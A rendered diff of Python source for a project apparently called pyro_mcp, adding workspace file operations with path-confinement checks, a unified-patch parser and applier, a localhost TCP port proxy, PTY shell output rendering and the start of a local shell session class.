_PATCH_HUNK_RE = re.compile(
|
||||||
|
r"^@@ -(?P<old_start>\d+)(?:,(?P<old_count>\d+))? "
|
||||||
|
r"\+(?P<new_start>\d+)(?:,(?P<new_count>\d+))? @@"
|
||||||
|
)
|
||||||
|
|
||||||
|
|
||||||
|
@dataclass(frozen=True)
|
||||||
|
class WorkspaceFileEntry:
|
||||||
|
path: str
|
||||||
|
artifact_type: WorkspaceFileArtifactType
|
||||||
|
size_bytes: int
|
||||||
|
link_target: str | None = None
|
||||||
|
|
||||||
|
def to_payload(self) -> dict[str, str | int | None]:
|
||||||
|
return {
|
||||||
|
"path": self.path,
|
||||||
|
"artifact_type": self.artifact_type,
|
||||||
|
"size_bytes": self.size_bytes,
|
||||||
|
"link_target": self.link_target,
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
@dataclass(frozen=True)
|
||||||
|
class WorkspacePathListing:
|
||||||
|
path: str
|
||||||
|
artifact_type: WorkspaceFileArtifactType
|
||||||
|
entries: list[WorkspaceFileEntry]
|
||||||
|
|
||||||
|
|
||||||
|
@dataclass(frozen=True)
|
||||||
|
class WorkspaceFileReadResult:
|
||||||
|
path: str
|
||||||
|
size_bytes: int
|
||||||
|
content_bytes: bytes
|
||||||
|
|
||||||
|
|
||||||
|
@dataclass(frozen=True)
|
||||||
|
class WorkspaceFileWriteResult:
|
||||||
|
path: str
|
||||||
|
size_bytes: int
|
||||||
|
bytes_written: int
|
||||||
|
|
||||||
|
|
||||||
|
@dataclass(frozen=True)
|
||||||
|
class WorkspaceFileDeleteResult:
|
||||||
|
path: str
|
||||||
|
deleted: bool
|
||||||
|
|
||||||
|
|
||||||
|
@dataclass(frozen=True)
|
||||||
|
class WorkspacePatchHunk:
|
||||||
|
old_start: int
|
||||||
|
old_count: int
|
||||||
|
new_start: int
|
||||||
|
new_count: int
|
||||||
|
lines: list[str]
|
||||||
|
|
||||||
|
|
||||||
|
@dataclass(frozen=True)
|
||||||
|
class WorkspaceTextPatch:
|
||||||
|
path: str
|
||||||
|
status: WorkspacePatchStatus
|
||||||
|
hunks: list[WorkspacePatchHunk]
|
||||||
|
|
||||||
|
|
||||||
|
def list_workspace_files(
|
||||||
|
workspace_dir: Path,
|
||||||
|
*,
|
||||||
|
workspace_path: str,
|
||||||
|
recursive: bool,
|
||||||
|
) -> WorkspacePathListing:
|
||||||
|
normalized_path, host_path = _workspace_host_path(workspace_dir, workspace_path)
|
||||||
|
entry = _entry_for_host_path(normalized_path, host_path)
|
||||||
|
if entry.artifact_type != "directory":
|
||||||
|
return WorkspacePathListing(
|
||||||
|
path=entry.path,
|
||||||
|
artifact_type=entry.artifact_type,
|
||||||
|
entries=[entry],
|
||||||
|
)
|
||||||
|
|
||||||
|
entries: list[WorkspaceFileEntry] = []
|
||||||
|
|
||||||
|
def walk(current_path: str, current_host_path: Path) -> None:
|
||||||
|
children: list[WorkspaceFileEntry] = []
|
||||||
|
with os.scandir(current_host_path) as iterator:
|
||||||
|
for child in iterator:
|
||||||
|
child_entry = _entry_for_host_path(
|
||||||
|
_join_workspace_path(current_path, child.name),
|
||||||
|
Path(child.path),
|
||||||
|
)
|
||||||
|
children.append(child_entry)
|
||||||
|
children.sort(key=lambda item: item.path)
|
||||||
|
for child_entry in children:
|
||||||
|
entries.append(child_entry)
|
||||||
|
if recursive and child_entry.artifact_type == "directory":
|
||||||
|
walk(child_entry.path, workspace_host_path(workspace_dir, child_entry.path))
|
||||||
|
|
||||||
|
walk(normalized_path, host_path)
|
||||||
|
return WorkspacePathListing(path=normalized_path, artifact_type="directory", entries=entries)
|
||||||
|
|
||||||
|
|
||||||
|
def read_workspace_file(
|
||||||
|
workspace_dir: Path,
|
||||||
|
*,
|
||||||
|
workspace_path: str,
|
||||||
|
max_bytes: int = WORKSPACE_FILE_MAX_BYTES,
|
||||||
|
) -> WorkspaceFileReadResult:
|
||||||
|
_validate_max_bytes(max_bytes)
|
||||||
|
normalized_path, host_path = _workspace_host_path(workspace_dir, workspace_path)
|
||||||
|
entry = _entry_for_host_path(normalized_path, host_path)
|
||||||
|
if entry.artifact_type != "file":
|
||||||
|
raise RuntimeError("workspace file read only supports regular files")
|
||||||
|
raw_bytes = host_path.read_bytes()
|
||||||
|
if len(raw_bytes) > max_bytes:
|
||||||
|
raise RuntimeError(
|
||||||
|
f"workspace file exceeds the maximum supported size of {max_bytes} bytes"
|
||||||
|
)
|
||||||
|
return WorkspaceFileReadResult(
|
||||||
|
path=normalized_path,
|
||||||
|
size_bytes=len(raw_bytes),
|
||||||
|
content_bytes=raw_bytes,
|
||||||
|
)
|
||||||
|
|
||||||
|
|
||||||
|
def write_workspace_file(
|
||||||
|
workspace_dir: Path,
|
||||||
|
*,
|
||||||
|
workspace_path: str,
|
||||||
|
text: str,
|
||||||
|
) -> WorkspaceFileWriteResult:
|
||||||
|
encoded = text.encode("utf-8")
|
||||||
|
if len(encoded) > WORKSPACE_FILE_MAX_BYTES:
|
||||||
|
raise ValueError(
|
||||||
|
f"text must be at most {WORKSPACE_FILE_MAX_BYTES} bytes when encoded as UTF-8"
|
||||||
|
)
|
||||||
|
normalized_path, host_path = _workspace_host_path(workspace_dir, workspace_path)
|
||||||
|
_ensure_no_symlink_parents(workspace_dir, host_path, normalized_path)
|
||||||
|
if host_path.exists() or host_path.is_symlink():
|
||||||
|
entry = _entry_for_host_path(normalized_path, host_path)
|
||||||
|
if entry.artifact_type != "file":
|
||||||
|
raise RuntimeError("workspace file write only supports regular file targets")
|
||||||
|
host_path.parent.mkdir(parents=True, exist_ok=True)
|
||||||
|
with tempfile.NamedTemporaryFile(
|
||||||
|
prefix=".pyro-workspace-write-",
|
||||||
|
dir=host_path.parent,
|
||||||
|
delete=False,
|
||||||
|
) as handle:
|
||||||
|
temp_path = Path(handle.name)
|
||||||
|
handle.write(encoded)
|
||||||
|
os.replace(temp_path, host_path)
|
||||||
|
return WorkspaceFileWriteResult(
|
||||||
|
path=normalized_path,
|
||||||
|
size_bytes=len(encoded),
|
||||||
|
bytes_written=len(encoded),
|
||||||
|
)
|
||||||
|
|
||||||
|
|
||||||
|
def delete_workspace_path(
|
||||||
|
workspace_dir: Path,
|
||||||
|
*,
|
||||||
|
workspace_path: str,
|
||||||
|
) -> WorkspaceFileDeleteResult:
|
||||||
|
normalized_path, host_path = _workspace_host_path(workspace_dir, workspace_path)
|
||||||
|
entry = _entry_for_host_path(normalized_path, host_path)
|
||||||
|
if entry.artifact_type == "directory":
|
||||||
|
raise RuntimeError("workspace file delete does not support directories")
|
||||||
|
host_path.unlink(missing_ok=False)
|
||||||
|
return WorkspaceFileDeleteResult(path=normalized_path, deleted=True)
|
||||||
|
|
||||||
|
|
||||||
|
def parse_unified_text_patch(patch_text: str) -> list[WorkspaceTextPatch]:
|
||||||
|
encoded = patch_text.encode("utf-8")
|
||||||
|
if len(encoded) > WORKSPACE_PATCH_MAX_BYTES:
|
||||||
|
raise ValueError(
|
||||||
|
f"patch must be at most {WORKSPACE_PATCH_MAX_BYTES} bytes when encoded as UTF-8"
|
||||||
|
)
|
||||||
|
if patch_text.strip() == "":
|
||||||
|
raise ValueError("patch must not be empty")
|
||||||
|
|
||||||
|
lines = patch_text.splitlines(keepends=True)
|
||||||
|
patches: list[WorkspaceTextPatch] = []
|
||||||
|
index = 0
|
||||||
|
|
||||||
|
while index < len(lines):
|
||||||
|
line = lines[index]
|
||||||
|
if line.startswith("diff --git "):
|
||||||
|
index += 1
|
||||||
|
continue
|
||||||
|
if line.startswith("index "):
|
||||||
|
index += 1
|
||||||
|
continue
|
||||||
|
if _is_unsupported_patch_prelude(line):
|
||||||
|
raise ValueError(f"unsupported patch feature: {line.rstrip()}")
|
||||||
|
if not line.startswith("--- "):
|
||||||
|
if line.strip() == "":
|
||||||
|
index += 1
|
||||||
|
continue
|
||||||
|
raise ValueError(f"invalid patch header: {line.rstrip()}")
|
||||||
|
old_path = _parse_patch_label(line[4:].rstrip("\n"))
|
||||||
|
index += 1
|
||||||
|
if index >= len(lines) or not lines[index].startswith("+++ "):
|
||||||
|
raise ValueError("patch is missing '+++' header")
|
||||||
|
new_path = _parse_patch_label(lines[index][4:].rstrip("\n"))
|
||||||
|
index += 1
|
||||||
|
if old_path is not None and new_path is not None and old_path != new_path:
|
||||||
|
raise ValueError("rename and copy patches are not supported")
|
||||||
|
patch_path = new_path or old_path
|
||||||
|
if patch_path is None:
|
||||||
|
raise ValueError("patch must target a workspace path")
|
||||||
|
if old_path is None:
|
||||||
|
status: WorkspacePatchStatus = "added"
|
||||||
|
elif new_path is None:
|
||||||
|
status = "deleted"
|
||||||
|
else:
|
||||||
|
status = "modified"
|
||||||
|
|
||||||
|
hunks: list[WorkspacePatchHunk] = []
|
||||||
|
while index < len(lines):
|
||||||
|
line = lines[index]
|
||||||
|
if line.startswith("diff --git ") or line.startswith("--- "):
|
||||||
|
break
|
||||||
|
if line.startswith("index "):
|
||||||
|
index += 1
|
||||||
|
continue
|
||||||
|
if _is_unsupported_patch_prelude(line):
|
||||||
|
raise ValueError(f"unsupported patch feature: {line.rstrip()}")
|
||||||
|
header_match = _PATCH_HUNK_RE.match(line.rstrip("\n"))
|
||||||
|
if header_match is None:
|
||||||
|
raise ValueError(f"invalid patch hunk header: {line.rstrip()}")
|
||||||
|
old_count = int(header_match.group("old_count") or "1")
|
||||||
|
new_count = int(header_match.group("new_count") or "1")
|
||||||
|
hunk_lines: list[str] = []
|
||||||
|
index += 1
|
||||||
|
while index < len(lines):
|
||||||
|
hunk_line = lines[index]
|
||||||
|
if hunk_line.startswith(("diff --git ", "--- ", "@@ ")):
|
||||||
|
break
|
||||||
|
if hunk_line.startswith("@@"):
|
||||||
|
break
|
||||||
|
if hunk_line.startswith("\\ No newline at end of file"):
|
||||||
|
index += 1
|
||||||
|
continue
|
||||||
|
if not hunk_line.startswith((" ", "+", "-")):
|
||||||
|
raise ValueError(f"invalid patch hunk line: {hunk_line.rstrip()}")
|
||||||
|
hunk_lines.append(hunk_line)
|
||||||
|
index += 1
|
||||||
|
_validate_hunk_counts(old_count, new_count, hunk_lines)
|
||||||
|
hunks.append(
|
||||||
|
WorkspacePatchHunk(
|
||||||
|
old_start=int(header_match.group("old_start")),
|
||||||
|
old_count=old_count,
|
||||||
|
new_start=int(header_match.group("new_start")),
|
||||||
|
new_count=new_count,
|
||||||
|
lines=hunk_lines,
|
||||||
|
)
|
||||||
|
)
|
||||||
|
if not hunks:
|
||||||
|
raise ValueError(f"patch for {patch_path} has no hunks")
|
||||||
|
patches.append(WorkspaceTextPatch(path=patch_path, status=status, hunks=hunks))
|
||||||
|
|
||||||
|
if not patches:
|
||||||
|
raise ValueError("patch must contain at least one file change")
|
||||||
|
return patches
|
||||||
|
|
||||||
|
|
||||||
|
def apply_unified_text_patch(
|
||||||
|
*,
|
||||||
|
path: str,
|
||||||
|
patch: WorkspaceTextPatch,
|
||||||
|
before_text: str | None,
|
||||||
|
) -> str | None:
|
||||||
|
before_lines = [] if before_text is None else before_text.splitlines(keepends=True)
|
||||||
|
output_lines: list[str] = []
|
||||||
|
cursor = 0
|
||||||
|
for hunk in patch.hunks:
|
||||||
|
start_index = 0 if hunk.old_start == 0 else hunk.old_start - 1
|
||||||
|
if start_index < cursor or start_index > len(before_lines):
|
||||||
|
raise RuntimeError(f"patch hunk is out of range for {path}")
|
||||||
|
output_lines.extend(before_lines[cursor:start_index])
|
||||||
|
local_index = start_index
|
||||||
|
for hunk_line in hunk.lines:
|
||||||
|
prefix = hunk_line[:1]
|
||||||
|
payload = hunk_line[1:]
|
||||||
|
if prefix in {" ", "-"}:
|
||||||
|
if local_index >= len(before_lines):
|
||||||
|
raise RuntimeError(f"patch context does not match for {path}")
|
||||||
|
if before_lines[local_index] != payload:
|
||||||
|
raise RuntimeError(f"patch context does not match for {path}")
|
||||||
|
if prefix == " ":
|
||||||
|
output_lines.append(payload)
|
||||||
|
local_index += 1
|
||||||
|
continue
|
||||||
|
if prefix == "+":
|
||||||
|
output_lines.append(payload)
|
||||||
|
continue
|
||||||
|
raise RuntimeError(f"invalid patch line prefix for {path}")
|
||||||
|
cursor = local_index
|
||||||
|
output_lines.extend(before_lines[cursor:])
|
||||||
|
after_text = "".join(output_lines)
|
||||||
|
if patch.status == "deleted":
|
||||||
|
if after_text != "":
|
||||||
|
raise RuntimeError(f"delete patch did not remove all content for {path}")
|
||||||
|
return None
|
||||||
|
encoded = after_text.encode("utf-8")
|
||||||
|
if len(encoded) > WORKSPACE_FILE_MAX_BYTES:
|
||||||
|
raise RuntimeError(
|
||||||
|
f"patched file {path} exceeds the maximum supported size of "
|
||||||
|
f"{WORKSPACE_FILE_MAX_BYTES} bytes"
|
||||||
|
)
|
||||||
|
return after_text
|
||||||
|
|
||||||
|
|
||||||
|
def workspace_host_path(workspace_dir: Path, workspace_path: str) -> Path:
|
||||||
|
_, host_path = _workspace_host_path(workspace_dir, workspace_path)
|
||||||
|
return host_path
|
||||||
|
|
||||||
|
|
||||||
|
def _workspace_host_path(workspace_dir: Path, workspace_path: str) -> tuple[str, Path]:
|
||||||
|
normalized = normalize_workspace_path(workspace_path)
|
||||||
|
suffix = PurePosixPath(normalized).relative_to(WORKSPACE_ROOT)
|
||||||
|
host_path = workspace_dir if str(suffix) in {"", "."} else workspace_dir.joinpath(*suffix.parts)
|
||||||
|
return normalized, host_path
|
||||||
|
|
||||||
|
|
||||||
|
def normalize_workspace_path(path: str) -> str:
|
||||||
|
candidate = path.strip()
|
||||||
|
if candidate == "":
|
||||||
|
raise ValueError("workspace path must not be empty")
|
||||||
|
raw_path = PurePosixPath(candidate)
|
||||||
|
if any(part == ".." for part in raw_path.parts):
|
||||||
|
raise ValueError("workspace path must stay inside /workspace")
|
||||||
|
if not raw_path.is_absolute():
|
||||||
|
raw_path = WORKSPACE_ROOT / raw_path
|
||||||
|
parts = [part for part in raw_path.parts if part not in {"", "."}]
|
||||||
|
normalized = PurePosixPath("/") / PurePosixPath(*parts)
|
||||||
|
if normalized == PurePosixPath("/"):
|
||||||
|
raise ValueError("workspace path must stay inside /workspace")
|
||||||
|
if normalized.parts[: len(WORKSPACE_ROOT.parts)] != WORKSPACE_ROOT.parts:
|
||||||
|
raise ValueError("workspace path must stay inside /workspace")
|
||||||
|
return str(normalized)
|
||||||
|
|
||||||
|
|
||||||
|
def _entry_for_host_path(guest_path: str, host_path: Path) -> WorkspaceFileEntry:
|
||||||
|
try:
|
||||||
|
stat_result = os.lstat(host_path)
|
||||||
|
except FileNotFoundError as exc:
|
||||||
|
raise RuntimeError(f"workspace path does not exist: {guest_path}") from exc
|
||||||
|
if os.path.islink(host_path):
|
||||||
|
return WorkspaceFileEntry(
|
||||||
|
path=guest_path,
|
||||||
|
artifact_type="symlink",
|
||||||
|
size_bytes=stat_result.st_size,
|
||||||
|
link_target=os.readlink(host_path),
|
||||||
|
)
|
||||||
|
if host_path.is_dir():
|
||||||
|
return WorkspaceFileEntry(
|
||||||
|
path=guest_path,
|
||||||
|
artifact_type="directory",
|
||||||
|
size_bytes=0,
|
||||||
|
link_target=None,
|
||||||
|
)
|
||||||
|
if host_path.is_file():
|
||||||
|
return WorkspaceFileEntry(
|
||||||
|
path=guest_path,
|
||||||
|
artifact_type="file",
|
||||||
|
size_bytes=stat_result.st_size,
|
||||||
|
link_target=None,
|
||||||
|
)
|
||||||
|
raise RuntimeError(f"unsupported workspace path type: {guest_path}")
|
||||||
|
|
||||||
|
|
||||||
|
def _join_workspace_path(base: str, child_name: str) -> str:
|
||||||
|
base_path = PurePosixPath(base)
|
||||||
|
return str(base_path / child_name) if str(base_path) != "/" else f"/{child_name}"
|
||||||
|
|
||||||
|
|
||||||
|
def _ensure_no_symlink_parents(workspace_dir: Path, target_path: Path, guest_path: str) -> None:
|
||||||
|
relative_path = target_path.relative_to(workspace_dir)
|
||||||
|
current = workspace_dir
|
||||||
|
for part in relative_path.parts[:-1]:
|
||||||
|
current = current / part
|
||||||
|
if current.is_symlink():
|
||||||
|
raise RuntimeError(
|
||||||
|
f"workspace path would traverse through a symlinked parent: {guest_path}"
|
||||||
|
)
|
||||||
|
|
||||||
|
|
||||||
|
def _validate_max_bytes(max_bytes: int) -> None:
|
||||||
|
if max_bytes <= 0:
|
||||||
|
raise ValueError("max_bytes must be positive")
|
||||||
|
if max_bytes > WORKSPACE_FILE_MAX_BYTES:
|
||||||
|
raise ValueError(
|
||||||
|
f"max_bytes must be at most {WORKSPACE_FILE_MAX_BYTES} bytes"
|
||||||
|
)
|
||||||
|
|
||||||
|
|
||||||
|
def _is_unsupported_patch_prelude(line: str) -> bool:
|
||||||
|
return line.startswith(
|
||||||
|
(
|
||||||
|
"old mode ",
|
||||||
|
"new mode ",
|
||||||
|
"deleted file mode ",
|
||||||
|
"new file mode ",
|
||||||
|
"rename from ",
|
||||||
|
"rename to ",
|
||||||
|
"copy from ",
|
||||||
|
"copy to ",
|
||||||
|
"similarity index ",
|
||||||
|
"dissimilarity index ",
|
||||||
|
"GIT binary patch",
|
||||||
|
"Binary files ",
|
||||||
|
)
|
||||||
|
)
|
||||||
|
|
||||||
|
|
||||||
|
def _parse_patch_label(label: str) -> str | None:
|
||||||
|
raw = label.split("\t", 1)[0].strip()
|
||||||
|
if raw == "/dev/null":
|
||||||
|
return None
|
||||||
|
if raw.startswith(("a/", "b/")):
|
||||||
|
raw = raw[2:]
|
||||||
|
if raw.startswith("/workspace/"):
|
||||||
|
return normalize_workspace_path(raw)
|
||||||
|
return normalize_workspace_path(raw)
|
||||||
|
|
||||||
|
|
||||||
|
def _validate_hunk_counts(old_count: int, new_count: int, hunk_lines: list[str]) -> None:
|
||||||
|
old_seen = 0
|
||||||
|
new_seen = 0
|
||||||
|
for hunk_line in hunk_lines:
|
||||||
|
prefix = hunk_line[:1]
|
||||||
|
if prefix in {" ", "-"}:
|
||||||
|
old_seen += 1
|
||||||
|
if prefix in {" ", "+"}:
|
||||||
|
new_seen += 1
|
||||||
|
if old_seen != old_count or new_seen != new_count:
|
||||||
|
raise ValueError("patch hunk line counts do not match the header")
|
||||||
116
src/pyro_mcp/workspace_ports.py
Normal file
116
src/pyro_mcp/workspace_ports.py
Normal file
|
|
@ -0,0 +1,116 @@
|
||||||
|
"""Localhost-only TCP port proxy for published workspace services."""
|
||||||
|
|
||||||
|
from __future__ import annotations
|
||||||
|
|
||||||
|
import argparse
|
||||||
|
import json
|
||||||
|
import selectors
|
||||||
|
import signal
|
||||||
|
import socket
|
||||||
|
import socketserver
|
||||||
|
import sys
|
||||||
|
import threading
|
||||||
|
from pathlib import Path
|
||||||
|
|
||||||
|
DEFAULT_PUBLISHED_PORT_HOST = "127.0.0.1"
|
||||||
|
|
||||||
|
|
||||||
|
class _ProxyServer(socketserver.ThreadingMixIn, socketserver.TCPServer):
|
||||||
|
allow_reuse_address = False
|
||||||
|
daemon_threads = True
|
||||||
|
|
||||||
|
def __init__(self, server_address: tuple[str, int], target_address: tuple[str, int]) -> None:
|
||||||
|
super().__init__(server_address, _ProxyHandler)
|
||||||
|
self.target_address = target_address
|
||||||
|
|
||||||
|
|
||||||
|
class _ProxyHandler(socketserver.BaseRequestHandler):
|
||||||
|
def handle(self) -> None:
|
||||||
|
server = self.server
|
||||||
|
if not isinstance(server, _ProxyServer):
|
||||||
|
raise RuntimeError("proxy server is invalid")
|
||||||
|
try:
|
||||||
|
upstream = socket.create_connection(server.target_address, timeout=5)
|
||||||
|
except OSError:
|
||||||
|
return
|
||||||
|
with upstream:
|
||||||
|
self.request.setblocking(False)
|
||||||
|
upstream.setblocking(False)
|
||||||
|
selector = selectors.DefaultSelector()
|
||||||
|
try:
|
||||||
|
selector.register(self.request, selectors.EVENT_READ, upstream)
|
||||||
|
selector.register(upstream, selectors.EVENT_READ, self.request)
|
||||||
|
while True:
|
||||||
|
events = selector.select()
|
||||||
|
if not events:
|
||||||
|
continue
|
||||||
|
for key, _ in events:
|
||||||
|
source = key.fileobj
|
||||||
|
target = key.data
|
||||||
|
if not isinstance(source, socket.socket) or not isinstance(
|
||||||
|
target, socket.socket
|
||||||
|
):
|
||||||
|
continue
|
||||||
|
try:
|
||||||
|
chunk = source.recv(65536)
|
||||||
|
except OSError:
|
||||||
|
return
|
||||||
|
if not chunk:
|
||||||
|
return
|
||||||
|
try:
|
||||||
|
target.sendall(chunk)
|
||||||
|
except OSError:
|
||||||
|
return
|
||||||
|
finally:
|
||||||
|
selector.close()
|
||||||
|
|
||||||
|
|
||||||
|
def _build_parser() -> argparse.ArgumentParser:
|
||||||
|
parser = argparse.ArgumentParser(description="Run a localhost-only TCP port proxy.")
|
||||||
|
parser.add_argument("--listen-host", required=True)
|
||||||
|
parser.add_argument("--listen-port", type=int, required=True)
|
||||||
|
parser.add_argument("--target-host", required=True)
|
||||||
|
parser.add_argument("--target-port", type=int, required=True)
|
||||||
|
parser.add_argument("--ready-file", required=True)
|
||||||
|
return parser
|
||||||
|
|
||||||
|
|
||||||
|
def main(argv: list[str] | None = None) -> int:
|
||||||
|
args = _build_parser().parse_args(argv)
|
||||||
|
ready_file = Path(args.ready_file)
|
||||||
|
ready_file.parent.mkdir(parents=True, exist_ok=True)
|
||||||
|
server = _ProxyServer(
|
||||||
|
(str(args.listen_host), int(args.listen_port)),
|
||||||
|
(str(args.target_host), int(args.target_port)),
|
||||||
|
)
|
||||||
|
actual_host = str(server.server_address[0])
|
||||||
|
actual_port = int(server.server_address[1])
|
||||||
|
ready_file.write_text(
|
||||||
|
json.dumps(
|
||||||
|
{
|
||||||
|
"host": actual_host,
|
||||||
|
"host_port": actual_port,
|
||||||
|
"target_host": args.target_host,
|
||||||
|
"target_port": int(args.target_port),
|
||||||
|
"protocol": "tcp",
|
||||||
|
},
|
||||||
|
indent=2,
|
||||||
|
sort_keys=True,
|
||||||
|
),
|
||||||
|
encoding="utf-8",
|
||||||
|
)
|
||||||
|
|
||||||
|
def _shutdown(_: int, __: object) -> None:
|
||||||
|
threading.Thread(target=server.shutdown, daemon=True).start()
|
||||||
|
|
||||||
|
signal.signal(signal.SIGTERM, _shutdown)
|
||||||
|
signal.signal(signal.SIGINT, _shutdown)
|
||||||
|
try:
|
||||||
|
server.serve_forever(poll_interval=0.2)
|
||||||
|
finally:
|
||||||
|
server.server_close()
|
||||||
|
return 0
|
||||||
|
|
||||||
|
|
||||||
|
if __name__ == "__main__":
|
||||||
|
raise SystemExit(main(sys.argv[1:]))
|
||||||
116
src/pyro_mcp/workspace_shell_output.py
Normal file
116
src/pyro_mcp/workspace_shell_output.py
Normal file
|
|
@ -0,0 +1,116 @@
|
||||||
|
"""Helpers for chat-friendly workspace shell output rendering."""
|
||||||
|
|
||||||
|
from __future__ import annotations
|
||||||
|
|
||||||
|
|
||||||
|
def _apply_csi(
|
||||||
|
final: str,
|
||||||
|
parameters: str,
|
||||||
|
line: list[str],
|
||||||
|
cursor: int,
|
||||||
|
lines: list[str],
|
||||||
|
) -> tuple[list[str], int, list[str]]:
|
||||||
|
if final == "K":
|
||||||
|
mode = parameters or "0"
|
||||||
|
if mode in {"0", ""}:
|
||||||
|
del line[cursor:]
|
||||||
|
elif mode == "1":
|
||||||
|
for index in range(min(cursor, len(line))):
|
||||||
|
line[index] = " "
|
||||||
|
elif mode == "2":
|
||||||
|
line.clear()
|
||||||
|
cursor = 0
|
||||||
|
elif final == "J":
|
||||||
|
mode = parameters or "0"
|
||||||
|
if mode in {"2", "3"}:
|
||||||
|
lines.clear()
|
||||||
|
line.clear()
|
||||||
|
cursor = 0
|
||||||
|
return line, cursor, lines
|
||||||
|
|
||||||
|
|
||||||
|
def _consume_escape_sequence(
|
||||||
|
text: str,
|
||||||
|
index: int,
|
||||||
|
line: list[str],
|
||||||
|
cursor: int,
|
||||||
|
lines: list[str],
|
||||||
|
) -> tuple[int, list[str], int, list[str]]:
|
||||||
|
if index + 1 >= len(text):
|
||||||
|
return len(text), line, cursor, lines
|
||||||
|
leader = text[index + 1]
|
||||||
|
if leader == "[":
|
||||||
|
cursor_index = index + 2
|
||||||
|
while cursor_index < len(text):
|
||||||
|
char = text[cursor_index]
|
||||||
|
if "\x40" <= char <= "\x7e":
|
||||||
|
parameters = text[index + 2 : cursor_index]
|
||||||
|
line, cursor, lines = _apply_csi(char, parameters, line, cursor, lines)
|
||||||
|
return cursor_index + 1, line, cursor, lines
|
||||||
|
cursor_index += 1
|
||||||
|
return len(text), line, cursor, lines
|
||||||
|
if leader in {"]", "P", "_", "^"}:
|
||||||
|
cursor_index = index + 2
|
||||||
|
while cursor_index < len(text):
|
||||||
|
char = text[cursor_index]
|
||||||
|
if char == "\x07":
|
||||||
|
return cursor_index + 1, line, cursor, lines
|
||||||
|
if char == "\x1b" and cursor_index + 1 < len(text) and text[cursor_index + 1] == "\\":
|
||||||
|
return cursor_index + 2, line, cursor, lines
|
||||||
|
cursor_index += 1
|
||||||
|
return len(text), line, cursor, lines
|
||||||
|
if leader == "O":
|
||||||
|
return min(index + 3, len(text)), line, cursor, lines
|
||||||
|
return min(index + 2, len(text)), line, cursor, lines
|
||||||
|
|
||||||
|
|
||||||
|
def render_plain_shell_output(raw_text: str) -> str:
|
||||||
|
"""Render PTY output into chat-friendly plain text."""
|
||||||
|
lines: list[str] = []
|
||||||
|
line: list[str] = []
|
||||||
|
cursor = 0
|
||||||
|
ended_with_newline = False
|
||||||
|
index = 0
|
||||||
|
while index < len(raw_text):
|
||||||
|
char = raw_text[index]
|
||||||
|
if char == "\x1b":
|
||||||
|
index, line, cursor, lines = _consume_escape_sequence(
|
||||||
|
raw_text,
|
||||||
|
index,
|
||||||
|
line,
|
||||||
|
cursor,
|
||||||
|
lines,
|
||||||
|
)
|
||||||
|
ended_with_newline = False
|
||||||
|
continue
|
||||||
|
if char == "\r":
|
||||||
|
cursor = 0
|
||||||
|
ended_with_newline = False
|
||||||
|
index += 1
|
||||||
|
continue
|
||||||
|
if char == "\n":
|
||||||
|
lines.append("".join(line))
|
||||||
|
line = []
|
||||||
|
cursor = 0
|
||||||
|
ended_with_newline = True
|
||||||
|
index += 1
|
||||||
|
continue
|
||||||
|
if char == "\b":
|
||||||
|
if cursor > 0:
|
||||||
|
cursor -= 1
|
||||||
|
if cursor < len(line):
|
||||||
|
del line[cursor]
|
||||||
|
ended_with_newline = False
|
||||||
|
index += 1
|
||||||
|
continue
|
||||||
|
if char == "\t" or (ord(char) >= 32 and ord(char) != 127):
|
||||||
|
if cursor < len(line):
|
||||||
|
line[cursor] = char
|
||||||
|
else:
|
||||||
|
line.append(char)
|
||||||
|
cursor += 1
|
||||||
|
ended_with_newline = False
|
||||||
|
index += 1
|
||||||
|
if line or ended_with_newline:
|
||||||
|
lines.append("".join(line))
|
||||||
|
return "\n".join(lines)
|
||||||
360
src/pyro_mcp/workspace_shells.py
Normal file
360
src/pyro_mcp/workspace_shells.py
Normal file
|
|
@ -0,0 +1,360 @@
|
||||||
|
"""Local PTY-backed shell sessions for the mock workspace backend."""
|
||||||
|
|
||||||
|
from __future__ import annotations
|
||||||
|
|
||||||
|
import codecs
|
||||||
|
import fcntl
|
||||||
|
import os
|
||||||
|
import shlex
|
||||||
|
import shutil
|
||||||
|
import signal
|
||||||
|
import struct
|
||||||
|
import subprocess
|
||||||
|
import termios
|
||||||
|
import threading
|
||||||
|
import time
|
||||||
|
from pathlib import Path
|
||||||
|
from typing import IO, Literal
|
||||||
|
|
||||||
|
ShellState = Literal["running", "stopped"]
|
||||||
|
|
||||||
|
SHELL_SIGNAL_NAMES = ("HUP", "INT", "TERM", "KILL")
|
||||||
|
_SHELL_SIGNAL_MAP = {
|
||||||
|
"HUP": signal.SIGHUP,
|
||||||
|
"INT": signal.SIGINT,
|
||||||
|
"TERM": signal.SIGTERM,
|
||||||
|
"KILL": signal.SIGKILL,
|
||||||
|
}
|
||||||
|
|
||||||
|
_LOCAL_SHELLS: dict[str, "LocalShellSession"] = {}
|
||||||
|
_LOCAL_SHELLS_LOCK = threading.Lock()
|
||||||
|
|
||||||
|
|
||||||
|
def _shell_argv(*, interactive: bool) -> list[str]:
|
||||||
|
shell_program = shutil.which("bash") or "/bin/sh"
|
||||||
|
argv = [shell_program]
|
||||||
|
if shell_program.endswith("bash"):
|
||||||
|
argv.extend(["--noprofile", "--norc"])
|
||||||
|
if interactive:
|
||||||
|
argv.append("-i")
|
||||||
|
return argv
|
||||||
|
|
||||||
|
|
||||||
|
def _redact_text(text: str, redact_values: list[str]) -> str:
|
||||||
|
redacted = text
|
||||||
|
for secret_value in sorted(
|
||||||
|
{item for item in redact_values if item != ""},
|
||||||
|
key=len,
|
||||||
|
reverse=True,
|
||||||
|
):
|
||||||
|
redacted = redacted.replace(secret_value, "[REDACTED]")
|
||||||
|
return redacted
|
||||||
|
|
||||||
|
|
||||||
|
def _set_pty_size(fd: int, rows: int, cols: int) -> None:
|
||||||
|
winsize = struct.pack("HHHH", rows, cols, 0, 0)
|
||||||
|
fcntl.ioctl(fd, termios.TIOCSWINSZ, winsize)
|
||||||
|
|
||||||
|
|
||||||
|
class LocalShellSession:
|
||||||
|
"""Host-local interactive shell used by the mock backend."""
|
||||||
|
|
||||||
|
def __init__(
|
||||||
|
self,
|
||||||
|
*,
|
||||||
|
shell_id: str,
|
||||||
|
cwd: Path,
|
||||||
|
display_cwd: str,
|
||||||
|
cols: int,
|
||||||
|
rows: int,
|
||||||
|
env_overrides: dict[str, str] | None = None,
|
||||||
|
redact_values: list[str] | None = None,
|
||||||
|
) -> None:
|
||||||
|
self.shell_id = shell_id
|
||||||
|
self.cwd = display_cwd
|
||||||
|
self.cols = cols
|
||||||
|
self.rows = rows
|
||||||
|
self.started_at = time.time()
|
||||||
|
self.ended_at: float | None = None
|
||||||
|
